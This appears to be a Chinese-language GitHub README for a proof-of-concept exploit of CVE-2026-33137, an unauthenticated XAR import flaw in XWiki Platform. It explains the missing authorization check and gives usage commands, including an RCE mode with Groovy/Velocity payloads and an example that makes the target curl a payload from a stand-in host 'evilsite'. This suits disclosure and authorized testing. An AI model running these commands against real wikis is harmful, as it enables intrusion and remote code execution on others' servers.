portbuster1337/CVE-2026-33137
GitHub: portbuster1337/CVE-2026-33137
针对 XWiki Platform 未授权 XAR 导入漏洞(CVE-2026-33137)的 PoC 利用工具,支持漏洞探测与远程代码执行验证。
Stars: 0 | Forks: 0
# CVE-2026-33137
**XWiki Platform - 通过 REST `/wikis/{wikiName}` 进行未授权 XAR 导入**
## 描述
XWiki Platform 中的 `POST /wikis/{wikiName}` REST API 端点在执行 XAR (XWiki Archive) 导入时,**没有执行任何身份验证或授权检查**。未经身份验证的攻击者可以通过发送精心构造的 XAR 文件,在目标 wiki 中创建或更新任意文档。
- **CVE**: CVE-2026-33137
- **CWE**: CWE-862 缺失授权
- **CVSS 4.0**: 9.3 (严重) - `AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`
- **发布日期**: 2026-05-20
## 受影响版本
| 状态 | 版本 |
|--------|----------|
| 存在漏洞 | > 15.10.16, > 16.4.6, > 16.10.2 |
| 已修复 | 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1 |
## 影响
未经身份验证的攻击者可以:
- 创建包含任意内容的任意 wiki 页面
- 覆盖现有的 wiki 页面
- 如果启用了脚本功能,可能通过创建包含恶意 Velocity/Groovy 脚本的页面来实现 RCE
## 详细信息
REST 端点 `POST /xwiki/rest/wikis/{wikiName}` 接收请求体中的 XAR 文件,并在不检查请求者是否拥有 ADMIN 权限的情况下,直接将其导入到 wiki 中。修复方案(提交 `4b7b95b`)添加了使用 `ContextualAuthorizationManager.checkAccess(Right.ADMIN, ...)` 的授权检查。
## PoC 用法
```
# 安装 requirements
pip install requests
# 基本用法
python poc.py -t http://target:8080
# 指定 wiki、space 和 page 名称
python poc.py -t http://target:8080 -w xwiki -s MySpace -p MyPage
# 首先探测目标
python poc.py -t http://target:8080 --probe
# 使用代理(例如 Burp Suite)
python poc.py -t http://target:8080 --proxy http://127.0.0.1:8080
# 自定义内容
python poc.py -t http://target:8080 -c "Proof of Concept"
# RCE 模式:在目标服务器上执行命令
python poc.py -t http://target:8080 --rce "id"
# 使用认证触发的 RCE(如果凭据可用)
python poc.py -t http://target:8080 --rce "curl http://evilsite/payload" -u admin --password pass
```
## RCE 模式 (`--rce`)
`--rce` 标志会导入包含 Groovy 和 Velocity payload 的页面,这些 payload 会执行指定的命令字符串。它会自动:
1. 运行预检(版本检测、漏洞状态、XAR 端点测试、触发路径可访问性)
2. 导入嵌入了用户指定命令的页面,命令通过 `{{groovy}}` 和 `{{velocity}}` 宏实现
3. 尝试通过 REST API、Web UI 和 SSTI 风格注入进行渲染
4. 报告哪些触发路径可以访问,哪些被阻止
**成功实现 RCE 的要求:**
- 目标必须允许访客查看页面(或通过 `-u` / `--password` 提供凭据)
- 必须为执行查看的用户启用脚本/编程权限
- 触发路径不能被身份验证重定向阻止
## 漏洞利用工作原理
1. 构造一个最小化的 XAR (ZIP) 文件,其中包含:
- `package.xml` - 包描述符
- `{Space}/{Page}.xml` - 包含内容的文档 XML
2. 将 XAR 字节数据 POST 到受漏洞影响的端点
3. 如果存在漏洞,文档将在未经身份验证的情况下被创建
4. 可选地通过回读文档元数据进行验证
## 免责声明
此 PoC 仅用于教育和授权的安全测试目的。未经授权对您不拥有或未获得明确测试许可的系统使用此漏洞利用是违法的。作者对因使用此软件造成的任何滥用或损害概不负责。
## 参考
- [GitHub 安全公告 GHSA-qrvh-r3f2-9h4r](https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-qrvh-r3f2-9h4r)
- [提交 4b7b95b (修复)](https://github.com/xwiki/xwiki-platform/commit/4b7b95b79256374d487e9ece1dc48f527966990f)
- [JIRA XWIKI-23953](https://jira.xwiki.org/browse/XWIKI-23953)
- [NVD 条目](https://nvd.nist.gov/vuln/detail/CVE-2026-33137)
标签:CISA项目, PoC, XWiki, 安全漏洞, 暴力破解, 未授权访问, 编程工具, 远程代码执行, 逆向工具